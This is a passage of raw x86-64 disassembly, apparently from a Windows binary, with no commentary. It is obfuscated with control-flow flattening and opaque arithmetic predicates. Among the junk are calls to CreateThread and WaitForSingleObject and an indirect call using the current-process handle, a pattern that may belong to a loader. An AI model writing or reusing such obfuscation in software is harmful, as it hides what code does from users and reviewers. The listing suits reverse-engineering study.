mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov edi, r9d
not edi
mov ebx, r9d
xor ebx, 0xdd6c7c26
and ebx, r9d
mov edx, r9d
or edx, 0x229383d9
mov esi, ebx
not esi
mov eax, edx
and eax, 0x59d47e15
mov ecx, edi
and ecx, 0x84280022
or ecx, eax
or edx, esi
and esi, 0x59d47e15
and ebx, 0xa62b81ea
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xc243f0b6
and edx, 0x3dbc0f49
or edx, eax
mov eax, edx
xor eax, 0x60806226
xor edx, 0x1f2f8c91
mov ecx, edx
and ecx, 0x907f1959
and eax, 0x6f80e6a6
or eax, ecx
and r9d, 0x907f1959
and edi, 0x6f80e6a6
or edi, r9d
xor edi, eax
xor edx, edi
test edx, edi
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
xor dl, r9b
xor dl, 1
mov eax, ebx
or al, dl
xor dl, bl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x306d0000
mov ebx, 0x37eefce6
cmovne edx, ebx
test al, al
mov eax, 0x306d0000
jmp 0x14019a0d9
cmp eax, 0xa9a5c8ef
je 0x14019f623
cmp eax, 0xa9cc9afb
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xd321562a
and ebx, edx
not edx
mov edi, edx
and edi, 0xd0201620
and ecx, 0x301400a
or ecx, edi
mov edi, ecx
xor edi, 0x1000008
xor ecx, 0xfcfebff5
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x2ecb5427
and edi, 0xd1200208
or edi, eax
or ecx, esi
and esi, 0x2ecb5427
and ebx, 0xd134abd8
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x2cdea9d4
and ecx, 0xd321562b
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9c5bb879
and ecx, 0x63a44786
or ecx, eax
xor ecx, 0x63a44786
mov eax, ecx
and eax, edx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x32cf0014
and ecx, 0xcd30ffeb
or ecx, eax
xor ecx, 0xcd30ffeb
setne al
sete dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl bl
and al, bl
or bl, dl
xor bl, 1
and r9b, dl
or r9b, al
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, r9d
xor dl, 1
and dl, al
xor al, 1
mov ecx, r9d
xor cl, al
and cl, r9b
and al, r9b
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xce0743c7
mov ebx, 0xc9e2b1a3
cmovne edx, ebx
test al, al
mov eax, edx
jmp 0x140198b96
cmp eax, 0xec64c239
je 0x14019f7df
cmp eax, 0xec844eb4
jne 0x14016c950
mov eax, 0x7ee48ef8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9ba55cd4
je 0x14019fa04
cmp eax, 0x9ba784bb
jne 0x14016c950
mov eax, 0xb0534e80
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xd9d2c7bf
je 0x14019fc37
cmp eax, 0xda31d67d
jne 0x14016c950
mov eax, 0x8f441789
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xb93f25e6
je 0x14019fc4c
cmp eax, 0xb9743e7f
jne 0x14016c950
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe0dfeaee
and edx, 0x1f201511
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xe0dfeaee
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0xcede7028
and edi, 0x31218fd6
or edi, esi
or ecx, edx
and edx, 0xcede7028
and ebx, 0x31218fd7
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x3e54f0cc
and edx, ecx
and ecx, 0xc1ab0f33
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc0830702
xor ecx, 0x3e54f0cc
mov edi, edx
not edi
mov esi, ecx
and esi, 0x113c0871
and ebx, 0xeec3f78e
or ebx, esi
or ecx, edi
and edi, 0x113c0871
and edx, 0xeec3f78e
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, bl
and al, cl
xor al, r8b
mov r9d, eax
xor r9b, 1
xor bl, r8b
mov edx, ecx
xor dl, r8b
and cl, r8b
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and al, r9b
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
and al, dl
or al, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x7be52f31
mov ebx, 0x3a0e47a1
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0x7be52f31
jmp 0x14019f4d9
cmp eax, 0xfcd3d1fe
je 0x14019fd3d
cmp eax, 0xfda5d527
jne 0x14016c950
mov eax, 0x69659d72
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x81a9aa57
je 0x14019fe86
cmp eax, 0x82065f3e
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x2600686
mov edi, ecx
and edi, 0x80994908
or edi, edx
xor edi, 0x80994908
mov edx, ecx
xor edx, 0x82f94f8e
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x7d06b070
and edx, 0x82f94f8f
or edx, edi
and ebx, 0x7fe6954c
and ecx, 0x80196ab3
or ecx, ebx
mov ebx, ecx
xor ebx, 0x80196ab3
xor ecx, 0x7fe6954c
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
and al, r8b
or al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and cl, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x5c746de4
mov ebx, 0x87da883c
cmovne eax, ebx
test cl, 1
mov ecx, 0x5c746de4
cmove eax, ecx
test dl, 1
cmovne eax, ebx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xbbbce7ac
je 0x14019fe9b
cmp eax, 0xbc4dac0f
jne 0x14016c950
mov eax, 0x69766969
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9f282cb5
je 0x14019ff71
cmp eax, 0x9f72fd61
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
or edi, 0x15ef3f6
mov edx, edi
not edx
or ebx, 0xba200801
and ebx, 0xbb2e5b17
and ecx, 0x50a0e0
or ecx, ebx
and edi, 0xbb2e5b17
and edx, 0x44810408
or edx, edi
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd992fd2a
and edx, 0x266d02d5
or edx, ecx
mov ebx, edx
xor ebx, 0x301000
xor edx, 0xd8cc0edc
mov esi, edx
or esi, 1
mov edi, esi
not edi
and edx, 0x2f4be93f
and ebx, 0xd0b416c0
or ebx, edx
mov edx, ebx
xor edx, 0x10a01201
xor ebx, 0x2f4be93e
mov ecx, esi
and ecx, 0xc51dade4
and edi, 0x3ae2521a
or edi, ecx
or esi, ebx
and ebx, 0xc51dade4
and edx, 0x3ae2521b
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
mov ecx, esi
xor ecx, 0xda431097
and ecx, esi
not esi
and esi, 0x411093
and edx, 0xda020004
or edx, esi
xor edx, 0xda020004
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf62cf8d9
and ecx, 0x9d30726
or ecx, edx
mov edx, ecx
xor edx, 0xd1001611
xor ecx, 0x2c6fe84e
mov ebx, ecx
and ebx, 0x69661a2
and edx, 0xf9699e5d
or edx, ebx
xor edx, 0xf9699e5d
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, edx
xor al, cl
and dl, al
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and bl, dl
or bl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0x97af16dc
mov ecx, 0x694924c8
cmovne eax, ecx
test bl, 1
cmove eax, ecx
test dl, 1
mov ecx, 0x97af16dc
jmp 0x1401a14db
cmp eax, 0xdbac7fde
je 0x14019ff86
cmp eax, 0xdbb22e30
jne 0x14016c950
mov eax, 0xcecac451
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x91416f95
je 0x1401a009e
cmp eax, 0x91a31bec
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
or ecx, 0x5aa7f174
mov esi, ecx
not esi
mov edi, eax
or edi, 0xa5580e8b
mov edx, edi
not edx
and ecx, 0xdbafde2a
and esi, 0x24500081
or esi, ecx
and edi, 0xdbafde2a
and edx, 0x2154
or edx, edi
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x5aa7f175
and edx, 0xa5580e8a
or edx, ecx
and eax, 0x6ed7c71c
and ebx, 0x912838e3
or ebx, eax
mov eax, ebx
xor eax, 0x1082863
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0xf4b3579c
and edx, 0xb4ca863
or edx, edi
xor ebx, 0x6493471c
and ebx, 0xf4b3579c
and eax, 0xb4ca863
or eax, ebx
xor eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ebx, eax
or cl, al
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
xor al, 1
or r10b, r9b
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or cl, al
xor al, dl
xor dl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xe8604449
mov ebx, 0xbfd0b676
cmovne ecx, ebx
test al, 1
cmovne ecx, ebx
not dl
test dl, 1
mov eax, 0xe8604449
jmp 0x1401a26bd
cmp eax, 0xcc00dbef
je 0x1401a00b3
cmp eax, 0xcc1017cb
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xff977e3e
and ecx, 0x6881c1
or ecx, eax
mov eax, ecx
xor eax, 0x6881c1
xor ecx, 0xac90243a
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xacb8a43a
and eax, 0x53475bc5
or eax, ecx
xor eax, 0x53475bc4
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4914e52d
and eax, 0xb6eb1ad2
or eax, ecx
mov ecx, eax
xor ecx, 0x14230880
xor eax, 0x1042009
and eax, 0xa3cc325b
and ecx, 0x5c33cda4
or ecx, eax
mov eax, ecx
xor eax, 0x20040213
xor ecx, 0x5c33cda4
mov edx, ecx
and edx, 0x8be8f1e8
and eax, 0x74170e17
or eax, edx
xor eax, 0x74170e17
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656c4], 9
setg bl
xor al, bl
mov edx, eax
xor dl, 1
or bl, dl
mov ecx, ebx
not cl
and dl, bl
or bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
mov eax, 0x9cab557a
mov edx, 0xffd5c633
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0x9cab557a
cmovne ecx, edx
test bl, bl
jmp 0x14019f4d9
cmp eax, 0xab7fe2ed
je 0x1401a01fc
cmp eax, 0xab814d3c
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x930050
mov ecx, ebx
and ecx, 0xfc682a81
or ecx, edx
xor ecx, 0xfc682a81
mov edx, ebx
xor edx, 0xfcfb2ad1
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x304d52f
and edx, 0xfcfb2ad0
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x869523b0
and edx, 0x796adc4f
or edx, ecx
and ebx, 0x869523b0
and eax, 0x796adc4f
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
setne cl
sete al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
xor al, bl
or dl, al
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ebx
and r8b, cl
xor cl, bl
xor bl, dl
xor dl, 1
or cl, r8b
xor cl, dl
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x585a4dce
mov ebx, 0xa562c1b3
cmovne edx, ebx
test al, 1
mov eax, 0x585a4dce
jmp 0x140194804
cmp eax, 0xee2d7872
je 0x1401a0211
cmp eax, 0xee5d790e
jne 0x14016c950
mov eax, 0xc8b5b2eb
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x89ee2cae
je 0x1401a02f5
cmp eax, 0x8a40d1b6
jne 0x14016c950
mov eax, 0x8594d9c0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc35becd6
je 0x1401a0403
cmp eax, 0xc3bcb3e0
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
mov ecx, ebx
xor ecx, 0x237b89c
and ecx, ebx
not ebx
and ebx, 0xab15d99d
and edx, 0x54ea2662
or edx, ebx
mov eax, edx
xor eax, 0x215989c
or eax, 0xfdc84763
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x23eb258c
and edx, 0x149810
or edx, edi
or eax, ebx
and ebx, 0x23eb258c
and ecx, 0xdc14da73
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc48601f
and eax, 0xf3b79fe0
or eax, ecx
mov ecx, eax
xor ecx, 0xf180277c
mov edx, eax
xor edx, 0xf180277d
and edx, ecx
xor eax, 0x272d880
and eax, 0x63f2d8a0
and ecx, 0x9c0d275f
or ecx, eax
xor ecx, 0x9c0d275e
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf0615902
and ecx, 0xf9ea6fd
or ecx, eax
mov eax, ecx
not eax
and eax, 0xeb42f8e1
and ecx, 0x14bd071e
or ecx, eax
xor ecx, 0xe4dc5e1c
setne dl
sete al
cmp dword [0x1402656c4], 9
setg cl
mov r8d, eax
or r8b, cl
xor al, cl
not al
and al, cl
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
xor dl, cl
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xe6c130d4
mov ebx, 0x96c53000
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xe6c130d4
jmp 0x1401a0e8b
cmp eax, 0xa562c1b3
je 0x1401a0509
cmp eax, 0xa576cc08
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and ebx, 0x4d2e74ea
and edx, 0xb2d18b15
or edx, ebx
mov ebx, edx
xor ebx, 0x92400211
xor edx, 0x4d2e74ea
mov esi, ecx
and esi, 0x6495c9a6
and edi, 0x9b6a3659
or edi, esi
or ecx, edx
and edx, 0x6495c9a6
and ebx, 0x9b6a3659
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3977eafe
and ecx, 0xc6881501
or ecx, edx
xor ecx, 0xc6881501
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ecx
or al, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor al, bl
xor bl, 1
xor dl, 1
or dl, r8b
xor dl, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc2bb28f1
mov ebx, 0x9e67c04c
cmovne eax, ebx
test cl, 1
mov ecx, 0xc2bb28f1
jmp 0x1401a26b7
cmp eax, 0xe3e11f32
je 0x1401a051e
cmp eax, 0xe4741157
jne 0x14016c950
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov eax, dword [0x1402656c8]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xcba647e6
mov ecx, edi
and ecx, 0x3459b818
or ecx, edx
mov edx, ecx
xor edx, 0x14080018
xor ecx, 0xc02443e0
mov ebx, edi
or ebx, 0xe075fbe0
and ecx, 0xe075fbe0
and edx, 0x1f8a041e
or edx, ecx
and ebx, 0xe075fbe1
xor ebx, edx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xf7692459
and ebx, 0x896dba6
or ebx, edx
and edi, 0xf7692459
and eax, 0x896dba6
or eax, edi
xor eax, ebx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl r8b
mov edx, r8d
xor dl, cl
xor dl, 1
mov ebx, r8d
or bl, al
xor bl, 1
or bl, dl
or cl, r8b
xor cl, 1
xor al, r8b
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x3cd767d
mov ebx, 0x2b411fd1
cmovne eax, ebx
test cl, 1
jmp 0x140198f64
cmp eax, 0x97ae3e6f
je 0x1401a05d9
cmp eax, 0x97af16dc
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x783413b9
and edx, ebx
not ebx
and ebx, 0x783413b9
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf692ba71
and edx, 0x96d458e
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0x8ea6a9c8
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x7e94805
and edi, 0xf816b7fa
or edi, esi
or ecx, edx
and edx, 0x7e94805
and ebx, 0xf816b7fa
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
xor edx, 0x6124d57f
and edx, ecx
or ecx, 0x9edb2a80
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x477a1a32
and ebx, 0x2004c54d
or ebx, esi
or ecx, edi
and edi, 0x477a1a32
and edx, 0xb885e5cd
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9edb2a80
and ecx, 0x6124d57f
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf2d192b9
and ecx, 0xd2e6d46
or ecx, edx
mov edx, ecx
xor edx, 0x1064c06
xor ecx, 0x800112b8
and ecx, 0x8c2933f8
and edx, 0x73d6cc07
or edx, ecx
xor edx, 0x8c2933f8
cmp edx, 0xffffffff
setne cl
sete al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r9b
mov ebx, eax
and bl, r9b
xor r9b, al
mov r8d, r9d
xor r8b, 1
and cl, dl
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov r10d, ecx
and r10b, al
xor cl, al
mov ebx, r8d
xor bl, al
or al, r8b
and r8b, r9b
xor r8b, 1
mov edx, r8d
xor dl, r9b
or r8b, r9b
xor r8b, 1
or r8b, dl
or cl, r10b
xor cl, r8b
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x45ce2846
mov ebx, 0x658e89f1
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x45ce2846
jmp 0x1401a14db
cmp eax, 0xd44a0f64
je 0x1401a06ef
cmp eax, 0xd502a5cb
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xd2ea9927
and eax, ecx
not ecx
and ecx, 0x7369149e
and edx, 0x8c96eb61
or edx, ecx
mov ecx, edx
xor ecx, 0x80800921
xor edx, 0x52681006
or edx, 0x2d1566d8
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x286fa040
and ecx, 0xd2801927
or ecx, edi
or edx, ebx
and ebx, 0x286fa040
and eax, 0xd7905fbf
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xcaa0cc64
and edx, 0x355f339b
or edx, eax
mov eax, edx
xor eax, 0xe7b5aabc
xor edx, 0x18480141
and edx, 0xfff9a1cd
mov ecx, eax
and ecx, 0x65e32
or ecx, edx
mov ebx, ecx
xor ebx, 0x65e32
mov edx, ecx
xor edx, 0x770af81d
and edx, ebx
and eax, 0x770ca62f
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and edx, 0xe22638eb
and eax, 0x1dd9c714
or eax, edx
mov edx, eax
xor edx, 0x10080804
and ebx, 1
xor ecx, 0x65e33
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xfdc7b630
and ecx, 0x23849cf
or ecx, ebx
mov ebx, ecx
xor ebx, 0x18480c
xor eax, 0x6ad5613a
xor ecx, 0xfdc7b630
mov edi, eax
and edi, 0xefa397f3
and edx, 0x105c680c
or edx, edi
or eax, ecx
and ecx, 0xefa397f3
and ebx, 0x105c680c
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
not edx
or eax, 0x23162046
mov ebx, eax
not ebx
or edx, 0xdce9dfb9
mov ecx, edx
not ecx
and eax, 0xc0f02d35
and ebx, 0x1c09d288
or ebx, eax
and edx, 0xc0f02d35
and ecx, 0x23060042
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x23162046
and ecx, 0xdce9dfb9
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd46d8e60
and ecx, 0x2b92719f
or ecx, edx
xor ecx, 0x2b92719f
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, al
mov eax, 0x48c1839f
mov edi, 0xab1ad6ee
cmovne eax, edi
test bl, bl
mov edx, 0x48c1839f
cmove eax, edx
test cl, 1
cmovne eax, edi
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xb2af7afe
je 0x1401a0704
cmp eax, 0xb2bb3ee9
jne 0x14016c950
mov eax, 0x4c92a33e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xf8a44491
je 0x1401a0719
cmp eax, 0xf8cbe7e6
jne 0x14016c950
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, 0x38605f78
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x85b65237
je 0x1401a072e
cmp eax, 0x86081021
jne 0x14016c950
mov eax, 0x92221c56
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xbf56d218
je 0x1401a0743
cmp eax, 0xbfcb411c
jne 0x14016c950
mov eax, 0xa9cc9afb
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa2ac13f1
je 0x1401a0786
cmp eax, 0xa2bcc3f2
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xc2d280a0
mov eax, ebx
and eax, 0x2124201e
or eax, ecx
xor eax, 0x2124201e
mov ecx, ebx
and ecx, 0x1c095f41
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3a5a120b
and ecx, 0xc5a5edf4
or ecx, eax
mov eax, ecx
xor eax, 0x6020100
and edx, 0xce4f9ea4
and ebx, 0x31b0615b
or ebx, edx
mov edx, ebx
xor edx, 0x1002110
xor ecx, 0xd9acb2b4
mov edi, ecx
and edi, 0x30fddecf
and eax, 0xcf022130
or eax, edi
xor ebx, 0x4d9e84
and ebx, 0x30fddecf
and edx, 0xcf022130
or edx, ebx
xor edx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp dword [0x1402656c4], 9
setg bl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r9d, edx
xor r9b, 1
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, r9d
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x36f7e205
mov ebx, 0x89ee2cae
cmovne edx, ebx
test al, 1
mov eax, 0x36f7e205
jmp 0x1401a2f66
cmp eax, 0xe0863829
je 0x1401a079f
cmp eax, 0xe094d64c
jne 0x14016c950
mov eax, 0x4007ab21
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9451ab07
je 0x1401a0925
cmp eax, 0x9467e4e4
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x5fc21588
and edx, ebx
not ebx
and ebx, 0x53c21500
